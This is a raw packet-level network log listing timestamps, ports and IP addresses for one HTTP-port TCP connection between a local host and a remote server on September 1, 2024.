Sep 1, 2024 01:22:11.928297043 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.928399086 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.928442955 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.928525925 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.928535938 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.928546906 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.928555965 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.928565025 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.928565979 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.928577900 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.928584099 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.928587914 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.928594112 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.928607941 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.928631067 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.928894997 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.928935051 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.928946018 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.928956985 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.928985119 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.928996086 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.929068089 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.929079056 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.929088116 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.929094076 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.929107904 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.929136992 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.012878895 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.012891054 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.012901068 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.012911081 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.012923002 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.012933969 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.012948990 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.012959957 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.012962103 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.012973070 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.012984037 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.012985945 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.013003111 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.013020039 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.013068914 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.013087988 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.013097048 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.013108015 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.013134956 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.013170004 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.013180017 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.013190031 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.013200045 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.013209105 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.013228893 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.013322115 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.013331890 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.013340950 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.013350010 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.013359070 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.013360977 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.013371944 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.013377905 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.013381004 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.013391018 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.013402939 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.013407946 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.013418913 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.013427973 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.013430119 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.013441086 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.013446093 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.013452053 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.013459921 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.013467073 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.013469934 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.013480902 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.013490915 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.013494968 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.013510942 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.013530970 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.013533115 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.013542891 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.013551950 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.013561964 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.013569117 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.013571978 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.013582945 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.013586998 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.013593912 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.013605118 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.013612032 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.013617992 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.013631105 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.013655901 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.013689041 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.013699055 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.013708115 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.013716936 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.013726950 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.013729095 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.013736963 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.013741016 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.013746977 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.013757944 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.013770103 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.013770103 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.013796091 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.013807058 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.013833046 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.013843060 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.013851881 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.013861895 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.013866901 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.013873100 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.013884068 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.013895035 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.013895988 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.013905048 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.013906956 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.013922930 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.013937950 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.013962030 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.013964891 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.013977051 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.013988018 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.013997078 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.014002085 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.014027119 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.014045954 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.014058113 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.014066935 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.014079094 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.014085054 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.014094114 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.014101982 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.014103889 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.014112949 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.014123917 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.014122963 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.014136076 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.014163971 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.014168978 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.014178991 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.014189959 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.014205933 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.014206886 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.014218092 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.014228106 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.014230013 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.014239073 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.014252901 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.014275074 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.014386892 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.014398098 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.014408112 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.014417887 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.014420986 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.014427900 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.014437914 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.014447927 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.014447927 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.014460087 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.014473915 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.014487028 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.014503002 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.014513016 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.014513969 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.014523983 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.014533043 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.014537096 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.014544010 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.014550924 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.014554024 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.014564991 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.014575005 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.014575958 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.014592886 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.014616966 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.014667034 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.014678001 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.014703989 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.014704943 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.014714003 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.014728069 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.014731884 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.014741898 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.014751911 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.014775991 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.014790058 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.014796019 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.014800072 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.014808893 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.014820099 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.014825106 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.014842987 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.014864922 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.014878988 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.014889002 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.014906883 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.014916897 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.014918089 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.014926910 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.014930010 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.014939070 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.014947891 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.014975071 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.015167952 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.015186071 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.015194893 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.015204906 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.015208960 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.015216112 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.015225887 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.015233040 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.015237093 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.015247107 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.015255928 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.015274048 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.015288115 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.099361897 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.099371910 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.099378109 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.099392891 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.099400997 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.099415064 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.099426031 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.099436045 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.099441051 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.099447012 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.099456072 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.099468946 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.099507093 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.099524021 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.099534988 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.099545002 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.099555016 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.099565983 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.099565983 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.099576950 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.099587917 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.099595070 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.099602938 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.099613905 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.099622011 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.099625111 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.099632978 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.099664927 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.099699020 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.099709034 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.099730015 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.099734068 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.099740028 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.099750996 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.099759102 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.099761963 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.099770069 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.099778891 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.099786043 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.099790096 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.099807024 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.099808931 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.099817991 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.099823952 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.099826097 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.099834919 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.099844933 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.099845886 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.099863052 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.099872112 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.099874973 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.099884987 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.099896908 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.099896908 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.099906921 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.099921942 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.099946022 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.100032091 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.100042105 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.100047112 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.100053072 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.100064039 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.100071907 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.100074053 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.100084066 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.100090981 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.100094080 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.100105047 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.100109100 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.100131989 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.100155115 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.100177050 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.100187063 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.100198030 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.100205898 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.100215912 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.100219011 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.100225925 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.100236893 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.100243092 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.100260019 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.100270987 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.100336075 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.100353003 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.100364923 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.100374937 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.100375891 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.100387096 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.100393057 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.100402117 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.100406885 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.100411892 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.100420952 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.100424051 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.100433111 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.100441933 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.100444078 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.100454092 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.100462914 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.100470066 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.100476027 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.100492954 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.100497961 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.100497961 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.100503922 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.100513935 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.100527048 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.100552082 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.181708097 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.186538935 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.422897100 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.422913074 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.422929049 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.422940016 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.422944069 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.422954082 CEST	80	49730	185.215.113.100	192.168.2.4
